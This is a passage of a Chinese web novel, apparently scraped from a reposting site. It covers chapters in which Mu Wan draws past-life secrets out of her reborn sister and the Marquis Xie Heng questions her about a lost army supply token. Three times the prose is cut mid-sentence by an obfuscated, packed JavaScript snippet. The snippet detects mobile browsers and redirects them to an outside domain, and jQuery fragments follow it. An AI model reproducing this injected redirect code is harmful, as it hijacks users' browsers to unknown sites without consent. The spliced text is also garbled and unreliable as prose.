不满穆婉能理解,毕竟她被人强塞了个计划外的男人也很不满,但两人都是遭了无妄之灾,就算心里不爽,至少应该见个面沟通一下吧,具体怎么回事儿,有没有可能解决,无法解决的话,两人日后如何相处,找个互惠互利,彼此舒适的生活方式总是可以的吧。 “有权有势真是了不起啊。”穆婉难得的有了些火气,“一个人就把决定都做了,我等蝼蚁就只配任人摆布呗!” 习惯性的抚上腕间的金丝手镯,穆婉起身往外走,云苓急忙跟上,“姑娘,去哪儿?” “带上诗集,去找二姑娘。” 问不到谢珩,不是还有一个重生的穆柔吗? “总不能他想如何就如何,好叫他知道,蝼蚁也是有脾气的,某天让他栽个跟头也未可知。” 17.017 穆婉到竹实院的时候,穆柔正趴在窗边沉思,眉头不自觉的蹙着,仿佛有什么事情想不通。 穆婉直觉她是在想镇北侯府的事情,如果上辈子穆柔进了宫,穆婉应该是顺利嫁给了李亦宸,那么穆家和镇北侯肯定八竿子打不着。但现在穆婉却被赐婚给了谢珩。 那么上辈子谢珩有没有这样被赐婚?如果赐了,对象是谁?最后结局如何?还是说压根没有这件事,穆柔的蝴蝶效应改变了某些走向? 穆婉思量着想知道的信息,面上笑着打招呼,“二妹妹想什么呢?看起来好像有什么事情想不通。”一边说着,一边在穆柔对面的茶几旁坐下,叹了口气道,“想不通就别想了,这世上很多事情本来就没有什么道理可言,比如我也以为我和李亦宸退婚后只能随便找个人嫁了,谁知竟然还得了宫中赐婚。” 穆婉一脸“无奈”,“说实话,我从来没想过嫁镇北侯,毕竟齐大非偶,只是没想到侯爷竟然这么欣赏我。” “这事儿在谁看来不是天方夜谭?”她拄着下巴叹了口气,“侯爷大概是看透了所谓书香门第高门贵女们趋炎附势的真面目,所以才会喜欢我这样的真性情吧。” 穆柔的贴身丫鬟连翘已经开始忍不住深呼吸,穆柔面上倒还稳得住,笑道,“大姐姐可能误会了,侯爷从始至终喜欢的都是徐大姑娘。” 穆婉不屑一笑,“徐大姑娘都嫁人了……算了,”她一脸“你就是嫉妒我”的表情,“二妹妹说是就是吧。” 穆柔抿了抿唇,淡淡的道,“大姐姐三年不在京城,可能不太了解谢侯爷,谢侯爷可不像一般的男人会随便对什么女人动心,况且谢侯爷父兄皆战死沙场为国捐躯,最厌恶的就是贪生怕死,爱好享乐之人。” “据我所知,赐婚圣旨只是太后恼侯爷功高震主,因此故意膈应侯爷罢了。” 穆婉抚着手腕上的镯子,虽说如今后宫消息漏的跟筛子一样,那也是针对世家贵族的圈子,他们这些商户绝对不可能在圣旨后三四天就知道这些事情的,穆婉是通过祝南溪知道的,穆柔可没有这样的渠道。 但她却说的这么笃定,只能说明上辈子太后也做过同样的事情…… 穆婉收敛心神,摆出了一副“你编,你继续编”的模样,呵呵道,“二妹妹知道的挺多,不过要是这样的话,想来太后很愿意看我在镇北侯府站稳脚跟,以后有太后做我的靠山,便是镇北侯也不敢怠慢我。” 她说这句话的时候格外注意着穆柔的神情,就见对方眼底闪过明显的不屑——穆柔对太后不以为然。 穆婉继续嗤笑道,“除非民间传说是真的,镇北侯找回了九皇子和遗诏,新皇登基,太后失势……” 见穆柔猛的变了脸色,穆婉心里有了底,然后快速转移了话题,“不过就算那个时候,我也已经嫁给侯爷了,若我无过错,他也不能休妻另娶。”她满面憧憬,“所以那个时候,我比现在还要有权势?” “果真是底蕴深厚的世家大族,不管朝堂如何风云变幻,都能屹立不倒。”她笑吟吟的看着穆柔,大度道,“若以后李亦宸有什么需要帮忙的,妹妹尽可来找我。” 大概她的表情太过嘚瑟,又涉及到了李亦宸,穆柔终于没能忍住,“那应该用不着,六郎能力斐然,说不定到时候反而是大姐姐用得着我。” 穆婉仿佛听到了什么好笑的笑话,“李亦宸能力再斐然,还能当上首辅不成?不对,就算当上首辅,也依旧压不过皇上的亲舅舅镇北侯吧?” 穆柔冷笑,“大姐姐怎知六郎当不上首辅?只是怕六郎当上首辅的时候,姐姐已经不是镇北侯夫人了。” 穆婉变了脸色,“你什么意思?” 穆柔见状心里终于舒坦了,突然谈兴高涨,“所有人都知道太后对镇北侯很纵容,其实这婚事镇北侯若不想,完全有法子让皇上收回成命,可他还是领了旨,大姐姐可知为何?”她笑吟吟的看着穆婉,“因为镇北侯这次出京遇上了徐大姑娘,大概是赌了气,所以圣旨上的人不管是谁,即便是个破落户,镇北侯照样会接旨。” 穆婉恼羞成怒,冷笑道,“二妹妹别在这里编故事了,镇北侯出京见到徐大姑娘的事情你如何能得知?太后会无缘无故的给侯爷找个破落户?” 穆柔看着穆婉的表情,语气中带了淡淡的笑意,“是不是真的,姐姐日后便知。” “至于破落户,侯爷替大姐姐撑过腰,自然也照顾过别的姑娘,听闻松柏巷前尚书的姜家三姑娘因为跟徐大姑娘有几分相像,所以很得侯爷青睐,这次若不是恰好你的事情闹的有点大,镇北侯夫人可能就是姜三姑娘了。” 穆婉仿佛冷静下来,又恢复了从容,“这世上没有如果,现实就是镇北侯夫人的位置是我的,至于男人的真情?我从来都不稀罕。” 穆柔似乎觉得穆婉破防了,笑容又真了不少,“我差点忘了,大姐姐追求的只是权势而已,不过姐姐话还是别说的太满。” “即便你能在镇北侯府侯服玉食,浆酒霍肉,甚至顶着镇北侯夫人的身份到处招摇,也不过是侯爷不把你放在眼里而已,等日后徐大姑娘归京,大姐姐便知道男人的真情重不重要了。” 穆婉得到了想要的信息,优雅的起身,笑道,“侯爷可不是李亦宸之流一心只有情爱的人,断不会做出背信弃义之事,这一切都不过是二妹妹的期待罢了。” “我看妹妹心情不怎么好,就不打扰了。” 看着她得意洋洋的模样,穆柔终是没忍住,“男人的真情不重要,但男人本身重不重要呢?姐姐确实要好好享受这两年,不然日后守寡的苦日子会很多。” 穆婉以为她说的是守活寡,笑了笑故意曲解道,“妹妹这样说,我怎么觉得日子更有盼头了,若镇北侯命短,那我日后不就成镇北侯府的主人了?!整个镇北侯府都是我的?” 她说的眉飞色舞,充满期待,穆柔果然黑了脸。 穆婉神清气爽的离开了竹实院。 穆柔一把将桌上的诗集扫落在地,冷声道,“拿去烧了。” 她的丫鬟连翘也是愤愤不平,“奴婢看大姑娘就是心虚,不然哪天来不好,偏偏今天侯府上门提亲,她跑来炫耀,定是因为谢侯爷没来,她担心太太和您笑话她,所以先跑来虚张声势。” 又安慰穆柔,“我娘常说,过日子这种事,如人饮水,冷暖自知,对于女人来说,知冷知热的夫君可比什么权势地位重要的多。” 穆柔还是恼火,“我只是气她贬低六郎。” 上辈子六郎摊上这么个浅薄无知,自私自利的妻子日子该多难,可是即便这样,六郎还是给了她首辅夫人无上尊荣,到死都对她敬重有加,不许任何人冒犯,她还有脸说六郎只知情爱不负责任? 明明是她不配!想到这里,穆柔冷笑,“以为世家高门里的日子是那么容易得吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12223160|128467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 上辈子那位姜三姑娘可是没风光多长时间就郁郁而终,她倒要看看,没了上辈子的好运气她这位大姐姐镇北侯夫人的位置能不能坐舒坦! 倒是自己,穆柔想到未来几年李亦宸飞升一般的升职速度,心情重新明媚起来,“是我想左了,一家姐妹逞口舌之快做什么,届时我会帮着大姐姐的,希望她比姜三姑娘强一些,能坚持到守寡。” 想了想,穆柔忽然起身对连翘道,“帮我更衣。” 连翘疑惑,“姑娘要去哪里?” 穆柔温婉一笑,“今日侯府贵客上门,我们总要见礼。” 人最怕的就是对比,上辈子宫中生活虽然辛苦,但也不是完全没有收获,至少她的规矩仪态是那些高门贵女都挑不出毛病来的…… “……还守寡。”回梧桐苑的路上,云苓鄙夷道,“二姑娘可真能编,先嘲笑您不得男人喜爱,见您不在乎,竟然直接诅咒您没男人。”说着又朝穆婉竖起大拇指,“可惜啊,对上您,她还是得甘拜下风,守寡就能继承镇北侯府遗产,您这想法也是没谁了。” “奴婢刚刚偷偷看了眼,二姑娘脸都气黑了,还以为她多清高呢,如今见您嫁入更高的门第还不是心中不平。” 穆婉心道,穆柔要真清高,重生回来后机会多的是,何必要抢别人的未婚夫,所以有些话,听听就行,但有些话却是真的…… 比如上辈子太后下过一样的圣旨,选中的对象是和徐大姑娘相似的前尚书家的姜三姑娘,谢珩同样选择了接旨,娶了对方回家。 那就说明谢珩选她只是随机,至少没有什么针对她的阴谋诡计,当然,最让她满意的是谢珩对待不在意的夫人的方式就是随便对方侯服玉食,浆酒霍肉,还能顶着镇北侯夫人的名头随便招摇。 当时穆柔几乎是不假思索的说出的这番话,以对方恨不得她永远卑微到尘埃里的心态,应该猜她不得谢珩喜爱,在侯府战战兢兢才是,她却说了什么享受两年好日子,只能说明这曾经是她知道的事实。 最最重要的一点是,谢珩大概率是接回了九皇子还找到了遗诏,最后倒台的是太后。 除了一开始直白的试探,保险起见,她激穆柔时故意说了谢珩是“皇上的亲舅舅”这句话,穆柔却完全没有意识到问题,也就说明她已经习惯了这件事,她上辈子的很长一段时间,谢珩就是皇帝的亲舅舅。 所以总结一下就是:不会作为九族被牵连,还可以躺平享受。 最让穆婉动心的一点是:等一切尘埃落定,徐大姑娘还会回京,届时她只要识趣的退位让贤,说不定还能换些日后的庇护——未婚的姑娘必须嫁人,但和离的姑娘却有自立门户的机会,参考她娘。 所以,只要去镇北侯府享受几年,顺便找几个靠山,之后和离就可以实现人生自由,这么算来,比被迫绑在某家的后院一辈子还要强些。 果然变数也伴随着机遇,未尝不是好事。 云苓看着穆婉脸上的笑意以为她有了什么主意,“姑娘可是有法子让镇北侯栽跟头了?” 她的语气中充满了跃跃欲试,显然对谢珩忽视穆婉的事情非常不满。 穆婉表情一肃,“不可对镇北侯不敬!”她语重心长的教育云苓,“位高权重也意味着责任重大,镇北侯鞠躬尽瘁,劳苦功高,我们这些受他庇佑享受安宁的小人物听他的话不是应该的吗?” 云苓:??? 18.018 云苓刚想上前摸摸穆婉的额头看是不是发烧了,余光瞥见什么,立刻恭敬的福了福认真道,“大姑娘说的对,是奴婢狭隘了。” 这下换穆婉想摸云苓的额头了。 云苓又转头朝后行礼,“见过侯爷。” 穆婉一愣,回头就看见站在不远处梧桐苑的岔道口站着的谢珩和小六,不知道是刚来,还是已经站那儿一会儿了。 不过就算站了一会儿,她刚刚的话也很得体,嗯,问心无愧说的就是现在的她。 穆婉理直气壮的挺了挺脊背,行礼,“见过侯爷。” 谢珩慢悠悠走过来在她面前站定,“穆大姑娘要怎么让本侯栽跟头?” 穆婉:…… 敢情好话你是一句不听是吧? 她摆出疑惑的表情,“侯爷在说什么?什么栽跟头?”又恍然道,“哦,刚云苓说不知谁让您栽了这么大一个跟头得娶我,想来您是听错了。” “我已经教训过她了,”穆婉煞有介事道,“既然是栽了跟头,那么提亲时不出现也情有可原,我们就算被嘲笑也不应该有怨言。” 扫了眼他身上绯色飞鱼曳撒工作服,穆婉突然恭敬道,“侯爷此时前来,可是有什么吩咐?” 谢珩:…… 小六都忍不住想掩面,虽说这亲事对侯爷是羞辱,但人家姑娘好像也不太愿意,结果提亲时侯爷不来就算了,来了却还是为了公事,这么一看,他家侯爷确实有些过分。 偏在此时,还有人人未到声先道,“大姑娘,镇北侯府来提亲,太太叫您去见见人,就算侯爷不喜您,您也是未来侯府的女主人,还是要见见谢大夫人,毕竟以后她手里的中馈要交到您手上,了解一下总归没错。” 地位不高,口气不小,任谁都能听出来这是明晃晃的嘲讽,而说这话的,还只是沈氏身边的一个二等的嬷嬷。 那嬷嬷转过弯后,双方都看到了人,隔着十几步的距离,那嬷嬷立刻惊声叫起来,“你们是何人?怎么会在我穆家后院?” “大姑娘,不是老奴说您,您平时恣意妄为就也罢了,这镇北侯府的人还在前头呢,您竟然会见外男!”她说着,竟然转身叫人,“来人,快将这两人赶走,别叫前头察觉了。” 话虽然这样说,但那嗓门大得却仿佛巴不得所有人都听到。 小六皱眉,“可算知道大姑娘的坏名声怎么来的,这简直是见缝插针的泼脏水啊。”随即冷声喝道,“侯爷在此,胆敢放肆!住口!” 多年诏狱浸淫出来的气势逼人,那嬷嬷尖利的声音戛然而止,仿若掐住脖子的公鸭,这才注意到谢珩和小六的衣服,尤其对上谢珩的视线,腿一软不受控制的跪下去,“侯,侯爷饶命。” 谢珩自然没有理她,而穆婉仿佛已经习以为常,只是对着谢珩歉意一笑,“下人无状,请侯爷见谅。” 比起刚刚伶牙俐齿的暗讽,此时她这真心实意的歉疚和难堪,倒是让人清晰的感受到了她受的委屈。 小六不由看向谢珩,这好像都是因为他家侯爷? 却见谢珩想了想,“听谢地说,你对婚事的要求就是门第高,不用伺候夫君,但能狐假虎威,是吗?” 穆婉:…… 这就是传说中的铁石心肠吗?她见识到了!真可恶啊!!! 穆婉挂起假笑,“只是和丫鬟的戏言而已,您偶尔不会跟朋友开个玩笑嘛?” 谢珩道,“不会。” 穆婉:…… 谢珩看了她一眼,“只要你不做出格的事,即便是戏言也都可以满足你,侯府的中馈虽不能交予你,但除了规定的月例外,其他花销只要合理,你都可以从账房自由支取。” 这是在谈薪资待遇?穆婉抿着唇防止喜悦的情绪泄露。果然不能片面的定义一个人,再可恶的人也有一些可取之处不是?比如谢珩,虽然别的不行,但很大方。 谢珩看着她支棱起的耳朵,不知怎的就想到了山野间的狸奴,警惕又狡猾。 “我平日较忙,没有时间和精力关注你的事情,比如今日这样非必要出席的场合,我可能没办法帮你撑面子。能接受吗?” 怎么不能,非常能,穆婉深吸一口气,面上却依旧做出一副“身不由己”的小可怜模样,委委屈屈的道,“但凭侯爷安排。” 谢珩垂眸看着她,“用不着勉强,若无法接受的话,现在想退婚还来得及。” 穆婉轻咳一声,语气坚定了许多,“不必,能为侯爷分忧是民女的荣幸,民女虽为商户女,但也有一颗为国为民的心!” 谢珩不置可否,显然并不信她的鬼话,“放心,为国分忧的事情不会交给你。” 穆婉脸上的笑容顿时真切了不少,“那侯爷有什么事,尽管吩咐。” 谢珩道,“是有些事要问你。”说罢抬脚往梧桐苑的方向走。 穆婉没急着跟上,而是看向跪在地上的嬷嬷无奈的道,“嬷嬷一直只是个二等是不是因为老眼昏花啊,侯爷都敢骂?侯爷不喜我,我也没办法为嬷嬷求情,嬷嬷就在这儿跪到侯爷消气吧。” 嬷嬷闻言不由抬起头,大概谢珩已经走远,她的胆子又回来了一点,“大姑娘这是在蓄意报复老奴吗?谢大夫人还等着老奴叫您过去呢。” 穆婉嗤笑一声,谢大夫人会想见她才怪,按照规矩,提亲时男女双方根本不用出面,单独见礼那是表示重视,穆婉可不觉得谢府会重视她,不然也不会随便请个官媒上门提亲,明显就是走个过场而已。 八成是沈氏这个假冒伪劣品碰上了真正书香门第出身的官宦夫人相形见绌,顶不住压力,才想叫穆婉过去,既能转移压力,还能看她出丑,傻子才去。 她对嬷嬷笑道,“谢大夫人那里,侯爷一会儿替我解释就行,但嬷嬷你冒犯侯爷的事情,不知道太太会怎么发落。” 嬷嬷顿时白了脸,她之所以敢嘲讽穆婉也是因为今日谢府的敷衍,虽说大姑娘嫁的门第更高,但侯府却不会替她出头,一个空有名头的侯夫人当然比不上握有实权的忠勇伯府六太太,却怎么也没想到镇北侯竟然来了! 嬷嬷绞尽脑汁,“侯爷看着呢,大姑娘不怕侯爷觉得您心胸狭窄……” “少道德绑架我,”穆婉道,“你冒犯侯爷,我却跟他唱反调要放了你,你真是好大的胆子,竟然觉得侯爷比不上你一个嬷嬷重要!” 嬷嬷终于意识到在穆婉这里讨不了好,赶紧趴下认错,“老奴知错,求姑娘饶命。” 穆婉转身离开,“知错就受罚,乖乖跪着吧。” 前头耳聪目明的小六啧啧道,“她还适应的挺快,这就狐假虎威上了。”又反应过来,“她刚刚的可怜是装的吧,我们是不是被骗了?” 谢珩纠正,“是你。” 小六还要再说话,抬眼却脱口道,“好热闹。” 身后云苓还以为院子里有人,急忙上前,“谁来了?什么热闹?” 被这么一问,小六也不知道该怎么形容,这院子里并没有人,但却一点都不冷清。 看的出来,穆婉在穆家地位不低,梧桐苑占地不输家主的院子,三面围墙都爬满了各色鲜花,有名贵品种,也有野外叫不出名字的野花,挨挨挤挤却又错落有致的凑在一起,透着勃勃的生机。 院子的西面有一个凉亭,从正房到凉亭搭了一路葡萄架,能看到不少刚刚成果的小葡萄串,让人不自觉的想到秋天时累累硕果挂一路时会多么幸福。 东南角是个不大的鱼池,鱼池边上有个半人高的流水风车,旁边推风车的却不是一般常见的竹制小人,而是一只胖猫,前爪推着风车,脑袋却扭头看向鱼池,脸上的馋样儿画的惟妙惟肖,促狭的让人忍不住想笑。 北面的阴凉处则是一小块药田,旁边还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12235218|128467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一架别具一格的秋千架,像个蛋壳似的,里面铺满了软垫,还放着几个软枕,看着就知道躺上去一定很舒服。 小六想了想道,“你们大姑娘一个人日子也过的很热闹。”看来穆大姑娘好享受玩乐这一点倒是名副其实。 谢珩只是扫了一眼,开门见山的对穆婉道,“我要跟你确认一下牛马令。” 穆婉一愣,“牛马令?” 谢珩道,“牛马令其实是边军押送粮草的令牌,但三年前岚城之战有粮草被劫,三枚牛马令全都不知所踪。” 穆婉严肃起来,岚城之战是大郢朝堂内乱的结果,谢家精兵之所以全军覆没,其中一个原因就是粮草告罄。当初谢珩归来上京一片腥风血雨,穆婉还当他已经查清楚了,没想到还有后续。 “我需要确认你手中的令牌是不是真的为你母亲所有,如果是,你母亲是否知道些什么?有没有留下什么线索。” 穆婉并不含糊,“侯爷稍等。” 回到房间,穆婉从床头的暗阁里取出一个檀木匣子,将匣子抱在怀里的瞬间,穆婉鼻尖陡然酸楚,眼前不受控制的模糊。——对她无限纵容宠爱的许娘子离开已经三年了。 平静了一会儿,穆婉抱着匣子出了门。 邀请谢珩和小六在凉亭中坐下,穆婉打开匣子将一块半个巴掌大的玄铁令牌递给谢珩。 “这块令牌我总共见过两次,第一次是十三岁的时候,那时我娘刚从岚城回来,我俩一起睡。”穆婉说着,目光落在手腕的镯子上,“这是我们的习惯,每次我娘出远门回来,我们都要一起睡两晚。” “那天我抱着她的时候被硌到了,就从她身上摸出了这块令牌,她说是向镇国公献上木流牛马图纸有功,国公爷赏她的,以后有解决不了的难处可以向镇国公求助三次。” “第二次就是三年前,它和我娘给我准备的其他东西一起作为遗物送到了我手中。” 谢珩问,“遗物除了这个,还有什么?” 穆婉的目光从手腕上移开,笑道,“那就多了,我手上这只花丝手镯、多宝阁上的小玩意儿、话本,好皮子好料子……路上只要看到好东西或者新鲜玩意儿我娘都会带给我,总共几大箱子呢,牛马令是塞在装话本的箱子里的。” 她笑了下,“要说有什么特别的,就是人回来了,却依旧给我带了一封书信。” 那不就是遗书吗?一般遗书里线索也最多。 小六动了动唇,话却不太能说出口,眼前的姑娘虽一直笑着,却莫名让人觉得难过,跟刚刚装模做样的委屈完全不同。 还是谢珩足够冷硬,公事公办的问,“遗书方便给我看看吗?” 穆婉从匣子里拿出遗书递过去,谢珩仔细查看,遗书不算长,但语气轻松诙谐,看着“为娘得偿所愿,死而无憾,惟愿吾儿也能达成心愿,百年后我们母女欢喜相见。”的结语,谢珩问道,“许娘子的愿望是什么?” 穆婉眼底泛起笑意,“做可以拯救天下百姓的大英雄,名垂青史。” 看着小六诧异的表情,穆婉笑道,“是不是挺意外?但那确实是她的愿望,她最喜欢的书是《赢好传》。” 赢好是前朝有名的巾帼英雄,声望极高。 “所以在朝纲混乱之时,她依然冒险给边军送粮,然后为保护粮草而死。” 谢珩难得沉默,小六小声道,“节哀。” 穆婉洒脱一笑,“其实还好,就像她信中所说,她这一生足够精彩,看过大漠孤烟,看过碧海沧波,爱过,恨过,自由过,还有我这么个漂亮可爱的女儿,最后为自己的梦想而死。‘尽吾志而不能至,无悔矣。’” “唯一惦记的也就是我了。” 谢珩又问,“你的愿望是什么?” 穆婉不假思索:“吃喝玩乐,长命百岁,做个快乐的纨绔。” 谢珩:…… 19.019 大概没想到母女俩的理想竟然南辕北辙,小六的表情有些滑稽,连谢珩都像是被噎了一下。 穆婉被逗笑,然后问道,“不过,侯爷既然在查这件事,难道其中还有蹊跷?” 谢珩将遗书还给她,“没有,当年运送粮草确实有人从中作梗,三年前罪魁祸首都已伏诛,本侯只是想知道一些当时的细节,看有没有漏网之鱼。” 穆婉点点头,没有过多询问,三年前那场变乱,她失去了亲娘,谢珩失去了父兄和战友,肯定比她更上心,最主要人家才是专业的,她就不凑热闹了。 确定没有更多的东西,谢珩带着小六告辞离开。 穆婉重新整理着檀木匣子,对云苓道,“我有点累了,去睡一会儿。” 云苓没说什么,许娘子走后的这三年,她家姑娘经常会有这种时候,看到什么突然想到许娘子就会没精神。 “奴婢给您点些安神香。” 院子外,小六问谢珩,“侯爷,不查了?说不定线索就藏在一些她们母女日常的东西里。” 谢珩道,“已经知道了许娘子是隐卫队队长,再去岚城那边顺着查更简单些,这里就算了。” 小六疑惑的挠挠头,“两头查不是更快吗?”说到这里他突然福至心灵,“您不会是不想让她卷进来吧?” 谢珩淡淡道,“毕竟是许娘子最后的遗愿。”许娘子至死都想让女儿简单快乐的活着。 小六叹了口气没再说什么。 “侯爷,路在这边。”小六提醒。 谢珩却依旧抬脚踏上了另一条小道,“既然来了,跟主人告个别。” …… 穆婉这一觉睡的并不安稳,恍惚间似乎能听到许倾蓝的声音,还跟她没离开时一样,骂穆婉懒虫,穆婉下意识的捂紧被子,却一直没等到人来掀,这才想起许倾蓝已经走了,没人再来掀她的被子,胸腔里不受控制的涌上酸楚…… 彻底睁开眼时,日暮已经西斜,外头传来丫头们压低的嬉笑声,仿佛遇到了什么好事。 “高兴什么呢?”穆婉出声。 云苓跑进来,“姑娘醒啦!”又贼兮兮的笑道,“您不知道,太太和二姑娘今日可丢了大人了!” 穆婉来了兴致,“怎么说?” 云苓熟练的拿出瓜子摆在穆婉手边,“今天侯爷不是来了吗,当时一副铁石心肠的模样,奴婢还以为他跟来的时候一样,会直接离开呢,没想到竟然去了花厅辞行。” “说起花厅,听杏儿说太太见了谢大夫人,拘谨的话都说不好,往日里书香门第出身的派头都不知道哪儿去了,还是二姑娘去见礼后,气氛才缓和下来。”说到这里,云苓不屑的冷哼一声,“二姑娘说是去见礼,谁不知道她安的什么心,当初引诱李六郎用的不就是这样的手段?侯府跟您提亲,她去显摆自己的能耐。” “奴婢怀疑要不是您的婚事是宫中所赐谁也动不得,李六郎估计得再退一次婚。” “不过就算攀不上镇北侯,她肯定也是想在谢大夫人面前把您比下去,好叫您在侯府被人瞧不起。” 听她越说越气愤,穆婉忍不住提醒,“跑题了。” 云苓反应过来,“哦哦,总之,二姑娘也不知道从哪里学了一身气派,还真让谢大夫人刮目相看,众人相谈甚欢,还说什么‘太太会教孩子,不知道的还以为是哪家高门千金。’刚说完,就听到外面的嘈杂声。”她起了个范儿,一拍手道,“您猜怎么着?” 穆婉配合捧哏,“怎么着?” 云苓道,“原来那赖嬷嬷虽然跪着没敢离开,但她那大嗓门不少人听见了,有那傻的,觉得可算抓住您的把柄了,赶去给太太邀功。” “话自然就传进了屋里,报给老爷后,老爷面上没什么,就出来问情况,结果啧啧,太太就开始作妖。” “太太那个人姑娘也知道,面子上装的温婉慈和,但佛口蛇心,老爷面上滴水不漏,自然是想替您遮掩,结果老爷一走,她就一副如坐针毡的模样,恨不得谢大夫人赶紧瞧出些什么来。” “可惜啊,人家谢大夫人正经书香门第出身,压根就不问她,还体贴的叫她有事儿就去处理,太太面上推辞,却还是六神无主的模样,没一会儿,一个‘嘴快’的小丫头把话给露了,说您在后院会见外男。” “哎哟,太太那个急的哟,不知如何是好,然后二姑娘便站出来装模做样的替您打圆场,说可能是许娘子给您留下的掌柜,听说姑娘您要成亲了,来送贺礼来了。”云苓撇撇嘴,“呵呵,这话说的倒像是我们急不可耐的巴着侯府一样。” 云苓的语气忽然抑扬顿挫,“之后,谢大夫人果然目露欣赏,觉得二姑娘实在大方得体,友爱姐妹,相比之下,大姑娘您就跟传闻一样,不成体统……” 穆婉忍不住打断她,“你还知道谢大夫人想什么?” 云苓嘿嘿一笑,“谢大夫人想什么我不知道,但太太和二姑娘想要的肯定是这样的效果。” 穆婉:…… 讲个八卦还搞艺术加工呢? “总之,谢大夫人觉得二姑娘大方得体,友爱姐妹,是个好姑娘,而您竟然在提亲当日私会外男,即便是掌柜,那也不成体统,就在此时,花厅中陡然一静。”云苓将手上的茶杯往桌上一磕,“你猜怎么着?” 穆婉:“怎么着?” “侯爷来了!据说当时整个院子忽然鸦雀无声,众人大气不敢出,房里的谢大夫人她们不明所以,二姑娘正要起身去看看怎么回事,就在此时,”说到这里,云苓还顿了一下,气氛酝酿的足足的,“侯爷挑开帘子进了门!然后二姑娘吓的直接跌坐在了椅子上,我见犹怜,想要吸引侯爷的注意!” 穆婉哭笑不得,“你不去说书真是可惜了。” 云苓没来得及理会她,仍然沉浸在自己的剧情中,“可惜,侯爷一眼就看穿了她的小伎俩,皱眉道,‘本侯记得,赐婚的是穆大姑娘,你是谁?’” “太太和二姑娘脸色一变,跟在侯爷身后的老爷还没来得及解释,太太见二姑娘难堪的恨不得找个地缝钻下去,连忙用您挡抢,说什么已经着人去叫大姑娘了,只是大姑娘您在招呼掌柜,一会儿就来什么的……” 说到这里,云苓终于撑不住抚掌大笑,“今天家里也不知乱成什么样了,侯爷进门竟然没人通传到主家,赖嬷嬷诬陷您的事儿太太竟然也不知道,可不就撞枪口上了吗?” “侯爷直言他就是那个外男,家里嬷嬷差点要将他打出去。” “老爷听的都要晕过去了,谢大夫人也很惊讶,问是怎么回事,侯爷说他从正门进来,路上正好碰到了姑娘您,聊了两句,不仅撞见府里的嬷嬷对大姑娘您明嘲暗讽,还说大姑娘私会他这个外男。又说,今日若不是他,其他外男也能畅通无阻的从正门走到姑娘们的院子里去,是只是大姑娘的院子如此,还是所有姑娘都一样?” “这下轮到太太恨不得着地缝钻进去了,若是只能通到大姑娘院子里,那就是太太心思恶毒,若是所有姑娘的院子都通,那便是太太治家无方,书香门第, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12248830|128467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聪慧能干,都成了大笑话!”云苓哈哈大笑,“我猜肯定是门房那边迎了人,以为会有人往里面递信,结果那帮人都忙着看热闹没注意。竟然就闹出这么个笑话来。” 但不管什么原因,都是沈氏管理不周的缘故。 “再加上一个二等嬷嬷敢在侯府提亲当天诬陷大姑娘,二姑娘还添油加醋,可见母女俩都是趋炎附势,佛口蛇心之人,谢大夫人再没给两人好脸色,待换了庚帖后就和侯爷一起离开了。” “之后老爷大发雷霆,臭骂了太太一顿,太太和二姑娘估计短时间没脸见人了。”云苓神清气爽,“没想到侯爷面上冷淡说什么不会给您撑腰,但还是去了。” 穆婉道,“大概是看在我娘的面子上吧,好歹我也算是烈士之后。”虽然铁石心肠,但是挺有良心。 侯府提亲之后,这桩婚事便板上钉钉,也不知道谢珩走时跟穆兴德说了什么,穆兴德精神抖擞的开始给穆婉准备嫁妆。 结果沈氏大大概怕穆兴德会私下给穆婉好东西,于是说穆柔的婚期应该也在今年,提议干脆一起准备,所有东西一式两份。 穆婉懒得理她那些小心思,她的嫁妆许倾蓝早就给她准备的差不多了,如今不过是查缺补漏,干脆只跟穆兴德要了银子,说要自己置办。 穆兴德也知道许倾蓝给穆婉留了得力的人手,那些人比他要更细心妥帖,便痛快给了银子,只道,“有什么需要的就跟爹说。” 想了想觉得这个办法很好,干脆也一样把嫁妆银子拨给沈氏,叫她这个亲娘去替穆柔操心,省的对方一天到晚在他身上算计。 沈氏见给的银子一样,也没什么好说的。 云苓却想起之前的一桩官司,“太太不是说,您要是能嫁给镇北侯,嫁妆合该是二姑娘的两倍吗?” 穆婉笑道,“得饶人处且饶人吧,就当时体谅我爹了。” 主要是不太现实。像他们这样的豪商之家,正常情况下给女儿十万两的嫁妆已经富足,穆兴德体谅两个女儿高嫁,都给了二十万两,几乎已经拿空了家里的现银,让穆兴德再拿二十万两出来,穆家的资金链得断了。 “况且我还有我娘的嫁妆。” 说到这个,云苓突然道,“太太应该还不知道您要把许娘子的财产全部带走吧?” 穆婉比了个“嘘”的手势,“财不露白,咱们低调。” 